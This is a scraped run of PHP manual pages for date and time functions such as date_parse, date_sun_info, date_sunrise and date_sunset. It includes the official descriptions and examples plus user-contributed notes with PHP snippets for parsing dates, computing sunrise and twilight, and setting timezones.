ochojnackiATEMEgmail.com 14-Aug-2008 05:49
$cday - specified day of the week (0-6 where 0 is Sunday)
$currentDate - date of start
$endDate - date of end

We need dates of next couple of days, that day of week  match defined.

<?php

            if($currentDate->format('w')!= $cday){
            switch ($cday){
            case 0 : $cdays="Sunday"; break;
            case 1 : $cdays="Monday"; break;
            case 2 : $cdays="Tuesday"; break;
            case 3 : $cdays="Wednesday"; break;
            case 4 : $cdays="Thursday"; break;
            case 5 : $cdays="Friday"; break;
            case 6 : $cdays="Saturday";
            }
            date_modify($currentDate,"+1 {$cdays}");
            }

            while($currentDate < $endDate) {
              echo $currentDate -> format('Y-m-d H:i:s');
              $currentDate      -> modify('+1 week');
            }

?>
matthijs at yourmediafactory dot com 08-Dec-2007 04:38
I have trouble finding the documentation for the dateTime object, but this seems to work:

<?php
$currentDate = new DateTime('2008-01-04');
$endDate     = new DateTime('2009-01-04');

while($currentDate < $endDate) {
  echo $currentDate -> format('Y-m-d') . ' till ';
  $currentDate      -> modify('+1 week');
  echo $currentDate -> format('Y-m-d') . ' <br />';
}
?>

This will (obviously) print a list of date-ranges between startdate and enddate.
someone 14-Sep-2007 11:46
I decided to enhance the DateTime object by taking advantage of method chaining.

<?php

class DateTimeChain extends DateTime {

    public function modify ($modify) {
        parent::modify($modify);
        return $this;
    }

    public function setDate ($year, $month, $day) {
        parent::setDate($year, $month, $day);
        return $this;
    }

    public function setISODate ($year, $week, $day = null) {
        parent:: setISODate($year, $week, $day);
        return $this;
    }

    public function setTime ($hour, $minute, $second = null) {
        parent::setTime($hour, $minute, $second);
        return $this;
    }

    public function setTimezone ($timezone) {
        parent::setTimezone($timezone);
        return $this;
    }

}

$t = new DateTimeZone('America/Los_Angeles');
$d = new DateTimeChain();
var_dump($d->setTimezone($t)->modify('5years')->format(DATE_RFC822));

?>
mike_d_olson [at] yahoo [dot] no-spam 08-Aug-2007 04:17
I had problems with setting an existing DateTime object to an exact Unix timestamp using modify("@$timestamp"), which seems to always be relative.  So I wrote this function, which does the trick:

<?php
    function set_time(DateTime $dt, $timestamp)
    {
        $tzo = new DateTimeZone($dt->getTimezone()->getName());
        $new_dt = new DateTime("@$timestamp", new DateTimeZone('UTC'));
        $new_dt->setTimezone($tzo);
        $dt->setDate($new_dt->format('Y'), $new_dt->format('m'), $new_dt->format('d'));
        $dt->setTime($new_dt->format('H'), $new_dt->format('i'), $new_dt->format('s'));
    }
?>
date_isodate_set
date_offset_get
Date/Time Functions


Alias of DateTime::getOffset

date_modify
date_parse_from_format
Date/Time Functions
PHP Manual

date_offset_get

(PHP 5 >= 5.2.0)

date_offset_get — Alias of DateTime::getOffset()

Description

This function is an alias of: DateTime::getOffset()

User Contributed Notes

Kae Cyphet 11-Oct-2010 02:43
The following gets the timezone of the server including daylight savings time changes.

<?php
$seconds = date_offset_get(new DateTime);
print $seconds / 3600;
// returns pos/neg decimal (eg. -7 if in PST and DST is active.)
// remember there are time zones with 30 and 45 min offsets
// http://en.wikipedia.org/wiki/Time_zone
?>
date_modify
date_parse_from_format
Date/Time Functions


Get info about given date formatted according to the specified format

date_offset_get
date_parse
Date/Time Functions
PHP Manual

date_parse_from_format

(PHP 5 >= 5.3.0)

date_parse_from_format — Get info about given date formatted according to the specified format

Description

array date_parse_from_format ( string $format , string $date )

Returns associative array with detailed info about given date.

Parameters

format

Format accepted by DateTime::createFromFormat().

date

String representing the date.

Return Values

Returns associative array with detailed info about given date.

Examples

Example #1 date_parse_from_format() example

<?php
$date = "6.1.2009 13:00+01:00";
print_r(date_parse_from_format("j.n.Y H:iP", $date));
?>

The above example will output:

Array
(
    [year] => 2009
    [month] => 1
    [day] => 6
    [hour] => 13
    [minute] => 0
    [second] => 0
    [fraction] =>
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] => 1
    [zone_type] => 1
    [zone] => -60
    [is_dst] =>
)

See Also

  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format
  • checkdate() - Validate a Gregorian date

User Contributed Notes

crayonviolent at phpfreaks dot com 23-Mar-2011 09:02
For those who do not have php5.3+, here is a php4+
compatible function that will approximate what this
function does.

NOTE: It does NOT exactly mimic it,
but it should be close enough for most
people's needs.

NOTE: The masks do NOT accurately
reflect the masks used in the date() format.
For simplicity sake they are just generic masks
for each date/time increment in order to parse
the $date string you pass.

<?php
function date_parse_from_format($format, $date) {
  $dMask = array(
    'H'=>'hour',
    'i'=>'minute',
    's'=>'second',
    'y'=>'year',
    'm'=>'month',
    'd'=>'day'
  );
  $format = preg_split('//', $format, -1, PREG_SPLIT_NO_EMPTY);
  $date = preg_split('//', $date, -1, PREG_SPLIT_NO_EMPTY);
  foreach ($date as $k => $v) {
    if ($dMask[$format[$k]]) $dt[$dMask[$format[$k]]] .= $v;
  }
  return $dt;
}
?>

Example 1:

<?php
print_r(date_parse_from_format('mmddyyyy','03232011');
?>

Output 1:

Array
(
    [month] => 03
    [day] => 23
    [year] => 2011
)

Example 2:

<?php
print_r(date_parse_from_format('yyyy.mm.dd HH:ii:ss','2011.03.23 12:03:00'));
?>

Output 2:

Array
(
    [year] => 2011
    [month] => 03
    [day] => 23
    [hour] => 12
    [minute] => 03
    [second] => 00
)
voidless at qip dot ru 10-Apr-2009 05:56
Example of rewriting function for older PHP versions:

convert
April 8, 2009, 1:12 am
to
timestamp

<?php
function date2sql($str = ""){
$month_arr = array (
    "January" => 1,
    "February" => 2,
    "March" => 3,
    "April" => 4,
    "May" => 5,
    "June" => 6,
    "July" => 7,
    "August" => 8,
    "September" => 9,
    "October" => 10,
    "November" => 11,
    "December" => 12
);
preg_match('/([a-zA-Z]{3,9}) ([0-9]{1,2}), ([0-9]{4}),
([0-9]{1,2}):([0-9]{1,2}) ([ap])m/',$str,$matches2);
if ($matches2[6]=="a") $hour = $matches2[4];
else $hour = $matches2[4]+12;
if ($hour==24) $hour=0;
return mktime($hour,$matches2[5],0,
$month_arr[$matches2[1]],$matches2[2],$matches2[3]);
}
    $time = date2sql("March 29, 2009, 12:12 pm");
    echo "{$time}</br>\n";
?>
date_offset_get
date_parse
Date/Time Functions


Returns associative array with detailed info about given date

date_parse_from_format
date_sub
Date/Time Functions
PHP Manual

date_parse

(PHP 5 >= 5.2.0)

date_parse — Returns associative array with detailed info about given date

Description

array date_parse ( string $date )

Parameters

date

Date in format accepted by strtotime().

Return Values

Returns array with information about the parsed date on success or FALSE on failure.

Errors/Exceptions

In case the date format has an error, the element 'errors' will contains the error messages.

Examples

Example #1 A date_parse() example

<?php
print_r(date_parse("2006-12-12 10:00:00.5"));
?>

The above example will output:

Array
(
    [year] => 2006
    [month] => 12
    [day] => 12
    [hour] => 10
    [minute] => 0
    [second] => 0
    [fraction] => 0.5
    [warning_count] => 0
    [warnings] => Array()
    [error_count] => 0
    [errors] => Array()
    [is_localtime] =>
)

See Also

  • checkdate() - Validate a Gregorian date
  • getdate() - Get date/time information

User Contributed Notes

ryan_a_martin at yahoo dot com 02-Mar-2011 06:56
See checkdate() at http://php.net/manual/en/function.checkdate.php for Gregorian date validation.
alvaro at demogracia dot com 15-Feb-2011 03:59
Be aware that date_parse() is happy with just a time zone and it can be pretty counter-intuitive. E.g.:

<?php
var_dump( date_parse('Europe/Madrid') );
?>

... prints an array where year, month, day... are FALSE. But so do these:

<?php
var_dump( date_parse('A') );
var_dump( date_parse('B') );
var_dump( date_parse('X') );
?>

Don't forget to further validate date_parse()'s output even when it isn't FALSE and the 'errors' key is empty.
admin at torntech dot com 22-Sep-2010 08:18
A warning to others. Some keys will return with a default value where others will return as false if the date string has it omitted. Unsure if this is a bug or feature, but hopefully this will save someone some time.
<?php
///Example
$input = "Feb 2010";
$info = date_parse($input);
var_dump($info);

/*Returns:
array(12) {
    ["year"]=> int(2010)
    ["month"]=> int(2)
    ["day"]=> int(1)    //<---expected false like below
    ["hour"]=> bool(false)
    ["minute"]=> bool(false)
    ["second"]=> bool(false)
    ["fraction"]=> bool(false)
    ["warning_count"]=> int(0)
    ["warnings"]=> array(0) { }
    ["error_count"]=> int(0)
    ["errors"]=> array(0) { }
    ["is_localtime"]=> bool(false)
}*/
?>
eugene at ultimatecms dot co dot za 23-Nov-2009 02:43
<?php

$ida = '091122671325';
$idb = '091123671325';

// This function will match the identity number up to the day, but only for a maximum of 99years+364days.
// Will not work when checking persons older than 100years-1day.

function idtodate($id)
{
        $year = date("Y");
        $month = date("m");
        $day = date("d");

        $nc = substr($year, 0, 2);
        $ny = substr($year, 2, 2);

        $y = substr($id, 0, 2);
        $m = substr($id, 2, 2);
        $d = substr($id, 4, 2);

        if($y.$m.$d <= $ny.$month.$day-1) {
                $newc = $nc;
        } else {
                $newc = $nc-1;
        }

        $new = $newc.$y;

        return array('year' => $new, 'month' => $m, 'day' => $d);
}

echo 'ID: '.$ida.'<br>';
print_r(idtodate($ida));

echo '<br><br>';

echo 'ID: '.$idb.'<br>';
print_r(idtodate($idb));

?>

Output:
1. If the year-month-day is smaller than today (2009-11-23), but bigger than 1999: year => 2009
ID: 091122671325
Array ( [year] => 2009 [month] => 11 [day] => 22 )

2. If the year-month-day is the same as, or bigger than today, but smaller than 2000: year => 1909
ID: 091123671325
Array ( [year] => 1909 [month] => 11 [day] => 23 )
alan at wilcoxengineering dot com 14-Aug-2009 11:02
Caution: date_parse expects months 1..12 only.

date_parse("13/1/5769")  for  month=13, Ehul in Jewish calendar, results in  month==3 instead of month==13.

It does, however, report the error array showing "Unexpected Character."

It would be nice if date_parse could handle the months properly (just report back a "13" for the month). The older approach of substr() is my workaround.
gpayne at galenaparkisd com 29-Sep-2007 04:52
Careful - date_parse is perfectly happy with something like this:

 date_parse("2006-2-31");
date_parse_from_format
date_sub
Date/Time Functions


Alias of DateTime::sub

date_parse
date_sun_info
Date/Time Functions
PHP Manual

date_sub

(PHP 5 >= 5.3.0)

date_sub — Alias of DateTime::sub()

Description

This function is an alias of: DateTime::sub()

User Contributed Notes

Jonathan Poissant 21-Jan-2011 07:26
You cannot replace date_sub('2000-01-20') by DateTime::sub('2000-01-20') because DateTime::sub is not static. You have to create the DateTime object first.

Example:

<?php $dateA = date_sub('2000-01-20', date_interval_create_from_date_string('10 days')); ?>

will be replace by
<?php
$dateB = new DateTime('2000-01-20');
$dateA = $dateB->sub(date_interval_create_from_date_string('10 days'));
?>
date_parse
date_sun_info
Date/Time Functions


Returns an array with information about sunset/sunrise and twilight begin/end

date_sub
date_sunrise
Date/Time Functions
PHP Manual

date_sun_info

(PHP 5 >= 5.1.2)

date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end

Description

array date_sun_info ( int $time , float $latitude , float $longitude )

Parameters

time

Timestamp.

latitude

Latitude in degrees.

longitude

Longitude in degrees.

Return Values

Returns array on success or FALSE on failure.

Examples

Example #1 A date_sun_info() example

<?php
$sun_info = date_sun_info(strtotime("2006-12-12"), 31.7667, 35.2333);
foreach ($sun_info as $key => $val) {
    echo "$key: " . date("H:i:s", $val) . "\n";
}
?>

The above example will output:

sunrise: 05:52:11
sunset: 15:41:21
transit: 10:46:46
civil_twilight_begin: 05:24:08
civil_twilight_end: 16:09:24
nautical_twilight_begin: 04:52:25
nautical_twilight_end: 16:41:06
astronomical_twilight_begin: 04:21:32
astronomical_twilight_end: 17:12:00

See Also

  • date_sunrise() - Returns time of sunrise for a given day and location
  • date_sunset() - Returns time of sunset for a given day and location

User Contributed Notes

ELY M. 08-Oct-2010 09:42
I have been working on my own php script to get current down or up for sun and moon.   I had to add function for any places that have 24 hour sun.

here is my code for places with 24 hour sun.

<?php
   if ($sunrise == 0 && $sunset == 0) {
   $sunrise24 = "";
   $sunset24 = "";
   //run suninfo
   $sunup = date_sun_info(strtotime($year."-".$month."-".$day), $lat, $lon);
   }

//check if sun is up all day.
if ($sunup[sunrise] == 1 && $sunup[sunrise] == 1) {
imagecopy($sky, $sun, 60, 20, 0, 0, $sun_width, $sun_height);
imagefill($sky, 0, 0, $bluesky);
}
?>
mother at localsnow dot com 23-Jun-2010 02:55
We needed the length of the day, both sunrise to sunset and twilight to twilight for particular latitudes. Sun_info() is just the thing. We mistakenly thought 'transit' was this value, which it is not. Transit is the time of day the sun is at its zenith. To get length of day, one must perform math on the results of sun_info().

When doing math with time values, don't expect date() to do the conversion to hours:minutes:seconds. date() thinks the passed value is a time since the epoch. You will need to do your own conversion to hours:minutes:seconds, using something like the following:
<?php
function hms($val) {
// convert seconds to hours:minutes:seconds
$v=$val;
$h=intval($v/3600);
$v-=($h*3600); // subtract hours
$m=intval($v/60);
$v-=($m*60); // subtract minutes
$s=$v % 60; // seconds remaining
if ($h<10) {$h="0".$h;}
if ($m<10) {$m="0".$m;}
if ($s<10) {$s="0".$s;}
return $h.":".$m.":".$s;
}
?>

Regarding date_sunrise() and date_sunset(), these both return values without seconds and without correction for Daylight time. Whereas sun_info() handles seconds as well as Daylight time. It even handles dates prior to the epoch correctly as negative timestamps, at least as of php 5.2.12

For example,
sun_info(strtotime('July 4, 1776'),47.3506,-122.6417)
produces something like the following when using date_default_timezone_set('America/Los_Angeles') and
date("H:i:s", $val)

sunrise: 04:20:26 [-6106016374]
sunset: 20:09:03 [-6105959457]
transit: 12:14:45 [-6105987915]
civil_twilight_begin: 03:40:54 [-6106018746]
civil_twilight_end: 20:48:35 [-6105957085]
nautical_twilight_begin: 02:46:58 [-6106021982]
nautical_twilight_end: 21:42:31 [-6105953849]
astronomical_twilight_begin: 01:28:06 [-6106026714]
astronomical_twilight_end: 23:01:23 [-6105949117]

* * *
glenbo (_AT_) mac (_DOT_) com 17-Jun-2008 12:54
It should be noted that for extreme geographical locations date_sun_info() might return unexpected values. Values of 1 or empty may be returned. If you are expecting a unix timestamp this will default to the epoch, or epoch+1, which is not what you would expect.

After researching official almanac records for these locations it appears likely that for sunrise and sunset return values of 1 relate to a situation where the sun is above the horizon for the entire 24 hour day. It is also possible that empty return values relate to a situation where the sun is below the horizon for the entire 24 hour day. In the case of twilight data a 1 probably means that the sun never dips below that zenith, and an empty value means the sun never rises above said zenith for that given day.

The following code exhibits unique dates from the northernmost city Ny-Ålesund, Svalbard, and the southernmost city McMurdo Research Station, Antarctica.

<?php

$northernmost_city_latitude = 78.92;   // Ny-Ålesund, Svalbard
$northernmost_city_longitude = 11.93;
$southernmost_city_latitude = -77.88;  // McMurdo Research Station, Antarctica
$southernmost_city_longitude = 166.73;

print_r( date_sun_info( strtotime("2008-01-01") , $northernmost_city_latitude, $northernmost_city_longitude) );
print_r( date_sun_info( strtotime("2008-04-01") , $northernmost_city_latitude, $northernmost_city_longitude) );
print_r( date_sun_info( strtotime("2008-01-01") , $southernmost_city_latitude, $southernmost_city_longitude) );
print_r( date_sun_info( strtotime("2008-06-01") , $southernmost_city_latitude, $southernmost_city_longitude) );

?>

This will return the following. Observe that sometimes a value of 1 or empty is returned.

Array
(
    [sunrise] =>
    [sunset] =>
    [transit] => 1199186158
    [civil_twilight_begin] =>
    [civil_twilight_end] =>
    [nautical_twilight_begin] => 1199184075
    [nautical_twilight_end] => 1199188241
    [astronomical_twilight_begin] => 1199170475
    [astronomical_twilight_end] => 1199201840
)
Array
(
    [sunrise] => 1207019232
    [sunset] => 1207077865
    [transit] => 1207048548
    [civil_twilight_begin] => 1
    [civil_twilight_end] => 1
    [nautical_twilight_begin] => 1
    [nautical_twilight_end] => 1
    [astronomical_twilight_begin] => 1
    [astronomical_twilight_end] => 1
)
Array
(
    [sunrise] => 1
    [sunset] => 1
    [transit] => 1199148994
    [civil_twilight_begin] => 1
    [civil_twilight_end] => 1
    [nautical_twilight_begin] => 1
    [nautical_twilight_end] => 1
    [astronomical_twilight_begin] => 1
    [astronomical_twilight_end] => 1
)
Array
(
    [sunrise] =>
    [sunset] =>
    [transit] => 1212281461
    [civil_twilight_begin] =>
    [civil_twilight_end] =>
    [nautical_twilight_begin] => 1212273312
    [nautical_twilight_end] => 1212289609
    [astronomical_twilight_begin] => 1212264187
    [astronomical_twilight_end] => 1212298734
)
date_sub
date_sunrise
Date/Time Functions


Returns time of sunrise for a given day and location

date_sun_info
date_sunset
Date/Time Functions
PHP Manual

date_sunrise

(PHP 5)

date_sunrise — Returns time of sunrise for a given day and location

Description

mixed date_sunrise ( int $timestamp [, int $format = SUNFUNCS_RET_STRING [, float $latitude = ini_get("date.default_latitude") [, float $longitude = ini_get("date.default_longitude") [, float $zenith = ini_get("date.sunrise_zenith") [, float $gmt_offset = 0 ]]]]] )

date_sunrise() returns the sunrise time for a given day (specified as a timestamp) and location.

Parameters

timestamp

The timestamp of the day from which the sunrise time is taken.

format

format constants
constant | description | example
SUNFUNCS_RET_STRING | returns the result as string | 16:46
SUNFUNCS_RET_DOUBLE | returns the result as float | 16.78243132
SUNFUNCS_RET_TIMESTAMP | returns the result as integer (timestamp) | 1095034606

latitude

Defaults to North, pass in a negative value for South. See also: date.default_latitude

longitude

Defaults to East, pass in a negative value for West. See also: date.default_longitude

zenith

Default: date.sunrise_zenith

gmtoffset

Specified in hours.

Return Values

Returns the sunrise time in a specified format on success or FALSE on failure.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 date_sunrise() example

<?php

/* calculate the sunrise time for Lisbon, Portugal
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunrise time : ' .date_sunrise(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

The above example will output something similar to:

Mon Dec 20 2004, sunrise time : 08:54

See Also

  • date_sunset() - Returns time of sunset for a given day and location

User Contributed Notes

jonathanNO dot kuhnSPAM at gmailNOSPAM dot com 29-Mar-2010 11:14
After some searching, I finally found a website that can calculate the sun's zenith. Just look up your city's lat/long (remember, west/south are negative even if it doesn't show where you look up the lat/long) and the time of sunrise/sunset and use this site:

http://solardat.uoregon.edu/cgi-bin/SolarPositionCalculator.cgi

You have to enter in the sunrise/sunset times separately, but it works.
San Diego is:
 Lat: 32.73
 Long: -117.17
 Sunrise Z.: 90.7379
 Sunset Z.: 90.8880
fingers at 4tfingers dot info 25-Apr-2008 08:47
Just for those that are as stupid as me
for the settings in php.ini and sunrise/sunset after googling for a while if found this info

;`Zenith' is the angle that the centre of the Sun makes to a line perpendicular to the Earth's surface.
;
; The best Overall figure for zenith is 90+(50/60) degrees for true sunrise/sunset
; Civil twilight 96 degrees - Conventionally used to signify twilight
; Nautical twilight 102 degrees - the point at which the horizon stops being visible at sea.
; Astronical twilight at 108 degrees - the point when Sun stops being a source of any illumination.
;
;date.sunrise_zenith = 90.583333  85.4
;date.sunset_zenith = 90.583333   85.4
djwice at [the same] dot com 02-Dec-2004 01:41
The way to use this:

<?php

// De Bilt, The Netherlands, weather station #06260
$lat = 52.10;    // North
$long = 5.18;    // East
$offset = 1;    // difference between GMT and local time in hours

$zenith=90+50/60;
echo "<br><p>Sunrise: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Sunset: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=96;
echo "<br><p>Civilian Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Civilian Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=102;
echo "<br><p>Nautical Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Nautical Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=108;
echo "<br><p>Astronomical Twilight start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Astronomical Twilight end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

?>

Zenith according to the U.S. Navy's 1990 Almanac for Computers.

Thanks to George King.
More sources about this topic:

http://www.qarlos.free.fr/navegacion/Sextante/formulas.htm
http://williams.best.vwh.net/sunrise_sunset_algorithm.htm
http://www.kevinboone.com/suntimes.html
http://star-www.st-and.ac.uk/~fv/webnotes/chapt12.htm
date_sun_info
date_sunset
Date/Time Functions


Returns time of sunset for a given day and location

date_sunrise
date_time_set
Date/Time Functions
PHP Manual

date_sunset

(PHP 5)

date_sunset — Returns time of sunset for a given day and location

Description

mixed date_sunset ( int $timestamp [, int $format = SUNFUNCS_RET_STRING [, float $latitude = ini_get("date.default_latitude") [, float $longitude = ini_get("date.default_longitude") [, float $zenith = ini_get("date.sunset_zenith") [, float $gmt_offset = 0 ]]]]] )

date_sunset() returns the sunset time for a given day (specified as a timestamp) and location.

Parameters

timestamp

The timestamp of the day from which the sunset time is taken.

format

format constants
constant | description | example
SUNFUNCS_RET_STRING | returns the result as string | 16:46
SUNFUNCS_RET_DOUBLE | returns the result as float | 16.78243132
SUNFUNCS_RET_TIMESTAMP | returns the result as integer (timestamp) | 1095034606

latitude

Defaults to North, pass in a negative value for South. See also: date.default_latitude

longitude

Defaults to East, pass in a negative value for West. See also: date.default_longitude

zenith

Default: date.sunset_zenith

gmtoffset

Specified in hours.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Return Values

Returns the sunset time in a specified format on success or FALSE on failure.

Examples

Example #1 date_sunset() example

<?php

/* calculate the sunset time for Lisbon, Portugal
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunset time : ' .date_sunset(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

The above example will output something similar to:

Mon Dec 20 2004, sunset time : 18:13

See Also

  • date_sunrise() - Returns time of sunrise for a given day and location

User Contributed Notes

michael at dayah dot com 30-Sep-2006 05:17
I use an IP to location database to determine the visitor's approximate latitude and longitude and then serve them a day or night color scheme based on whether it is before civil dawn or dusk. I've had problems when not specifying the timezone, specifically a 1 hour error, so I use GMT.

<?php
date_default_timezone_set("GMT");

function scheme() {
        $sunrise = date_sunrise(time(), SUNFUNCS_RET_DOUBLE, $latitude, $longitude, 96, 0);
        $sunset = date_sunset(time(), SUNFUNCS_RET_DOUBLE, $latitude, $longitude, 96, 0);
        $now = date("H") + date("i") / 60 + date("s") / 3600;

        if ($sunrise < $sunset)
                if (($now > $sunrise) && ($now < $sunset)) return "day";
                else return "night";
        else
                if (($now > $sunrise) || ($now < $sunset)) return "day";
                else return "night";
}
?>
djwice at [the same] dot com 02-Dec-2004 01:39
A way to use this:

<?php

// De Bilt, The Netherlands, weather station #06260
$lat = 52.10;    // North
$long = 5.18;    // East
$offset = 1;    // difference between GMT and local time in hours

$zenith=90+50/60;
echo "<br><p>Sunrise: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>Sunset: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=96;
echo "<br><p>\"Civilian Twilight\" start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>\"Civilian Twilight\" end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=102;
echo "<br><p>\"Nautical Twilight\" start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>\"Nautical Twilight\" end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

$zenith=108;
echo "<br><p>\"Astronomical Twilight\" start: ".date_sunrise(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);
echo "<br>\"Astronomical Twilight\" end: ".date_sunset(time(), SUNFUNCS_RET_STRING, $lat, $long, $zenith, $offset);

?>

Thanks to George King.
More sources about this topic:

http://www.qarlos.free.fr/navegacion/Sextante/formulas.htm
http://williams.best.vwh.net/sunrise_sunset_algorithm.htm
http://www.kevinboone.com/suntimes.html
http://star-www.st-and.ac.uk/~fv/webnotes/chapt12.htm
date_sunrise
date_time_set
Date/Time Functions


Alias of DateTime::setTime

date_sunset
date_timestamp_get
Date/Time Functions
PHP Manual

date_time_set

(PHP 5 >= 5.2.0)

date_time_set — Alias of DateTime::setTime()

Description

This function is an alias of: DateTime::setTime()

User Contributed Notes

There are no user contributed notes for this page.
date_sunset
date_timestamp_get
Date/Time Functions


Alias of DateTime::getTimestamp

date_time_set
date_timestamp_set
Date/Time Functions
PHP Manual

date_timestamp_get

(PHP 5 >= 5.3.0)

date_timestamp_get — Alias of DateTime::getTimestamp()

Description

This function is an alias of: DateTime::getTimestamp()

User Contributed Notes

There are no user contributed notes for this page.
date_time_set
date_timestamp_set
Date/Time Functions


Alias of DateTime::setTimestamp

date_timestamp_get
date_timezone_get
Date/Time Functions
PHP Manual

date_timestamp_set

(PHP 5 >= 5.3.0)

date_timestamp_set — Alias of DateTime::setTimestamp()

Description

This function is an alias of: DateTime::setTimestamp()

User Contributed Notes

There are no user contributed notes for this page.
date_timestamp_get
date_timezone_get
Date/Time Functions


Alias of DateTime::getTimezone

date_timestamp_set
date_timezone_set
Date/Time Functions
PHP Manual

date_timezone_get

(PHP 5 >= 5.2.0)

date_timezone_get — Alias of DateTime::getTimezone()

Description

This function is an alias of: DateTime::getTimezone()

User Contributed Notes

There are no user contributed notes for this page.
date_timestamp_set
date_timezone_set
Date/Time Functions


Alias of DateTime::setTimezone

date_timezone_get
date
Date/Time Functions
PHP Manual

date_timezone_set

(PHP 5 >= 5.2.0)

date_timezone_set — Alias of DateTime::setTimezone()

Description

This function is an alias of: DateTime::setTimezone()

User Contributed Notes

fl4sh dot b0y at live dot fr 07-Aug-2009 02:11
Return Value

Returns NULL on success or FALSE on failure.

Example

Following is the usage of this function:

<?php
   $dateSrc = '2007-04-19 12:50 GMT';
   $dateTime = date_create( $dateSrc);
   $DateTimeZone = timezone_open ( 'America/Chicago' );
   date_timezone_set( $dateTime, $DateTimeZone );
   $NewDateTimeZone = date_timezone_get($dateTime);
   echo 'New timeZone is '. timezone_name_get($NewDateTimeZone);
   echo "\n";

   # Using second function.
   $dateTime = new DateTime($dateSrc);
   $DateTimeZone = timezone_open ( 'America/Chicago' );
   $dateTime->setTimezone( $DateTimeZone );
   $NewDateTimeZone = $dateTime->getTimezone ();
   echo 'New timeZone is '. timezone_name_get ($NewDateTimeZone);
?>

This will produce following result:

New timeZone is America/Chicago
New timeZone is America/Chicago
date_timezone_get
date
Date/Time Functions


Format a local time/date

date_timezone_set
getdate
Date/Time Functions
PHP Manual

date

(PHP 4, PHP 5)

date — Format a local time/date

Description

string date ( string $format [, int $timestamp = time() ] )

Returns a string formatted according to the given format string using the given integer timestamp or the current time if no timestamp is given. In other words, timestamp is optional and defaults to the value of time().

Parameters

format

The format of the outputted date string. See the formatting options below. There are also several predefined date constants that may be used instead, so for example DATE_RSS contains the format string 'D, d M Y H:i:s'.

The following characters are recognized in the format parameter string
format character | Description | Example returned values
Day --- ---
d | Day of the month, 2 digits with leading zeros | 01 to 31
D | A textual representation of a day, three letters | Mon through Sun
j | Day of the month without leading zeros | 1 to 31
l (lowercase 'L') | A full textual representation of the day of the week | Sunday through Saturday
N | ISO-8601 numeric representation of the day of the week (added in PHP 5.1.0) | 1 (for Monday) through 7 (for Sunday)
S | English ordinal suffix for the day of the month, 2 characters | st, nd, rd or th. Works well with j
w | Numeric representation of the day of the week | 0 (for Sunday) through 6 (for Saturday)
z | The day of the year (starting from 0) | 0 through 365
Week --- ---
W | ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0) | Example: 42 (the 42nd week in the year)
Month --- ---
F | A full textual representation of a month, such as January or March | January through December
m | Numeric representation of a month, with leading zeros | 01 through 12
M | A short textual representation of a month, three letters | Jan through Dec
n | Numeric representation of a month, without leading zeros | 1 through 12
t | Number of days in the given month | 28 through 31
Year --- ---
L | Whether it's a leap year | 1 if it is a leap year, 0 otherwise.
o | ISO-8601 year number. This has the same value as Y, except that if the ISO week number (W) belongs to the previous or next year, that year is used instead. (added in PHP 5.1.0) | Examples: 1999 or 2003
Y | A full numeric representation of a year, 4 digits | Examples: 1999 or 2003
y | A two digit representation of a year | Examples: 99 or 03
Time --- ---
a | Lowercase Ante meridiem and Post meridiem | am or pm
A | Uppercase Ante meridiem and Post meridiem | AM or PM
B | Swatch Internet time | 000 through 999
g | 12-hour format of an hour without leading zeros | 1 through 12
G | 24-hour format of an hour without leading zeros | 0 through 23
h | 12-hour format of an hour with leading zeros | 01 through 12
H | 24-hour format of an hour with leading zeros | 00 through 23
i | Minutes with leading zeros | 00 to 59
s | Seconds, with leading zeros | 00 through 59
u | Microseconds (added in PHP 5.2.2) | Example: 654321
Timezone --- ---
e | Timezone identifier (added in PHP 5.1.0) | Examples: UTC, GMT, Atlantic/Azores
I (capital i) | Whether or not the date is in daylight saving time | 1 if Daylight Saving Time, 0 otherwise.
O | Difference to Greenwich time (GMT) in hours | Example: +0200
P | Difference to Greenwich time (GMT) with colon between hours and minutes (added in PHP 5.1.3) | Example: +02:00
T | Timezone abbreviation | Examples: EST, MDT ...
Z | Timezone offset in seconds. The offset for timezones west of UTC is always negative, and for those east of UTC is always positive. | -43200 through 50400
Full Date/Time --- ---
c | ISO 8601 date (added in PHP 5) | 2004-02-12T15:19:21+00:00
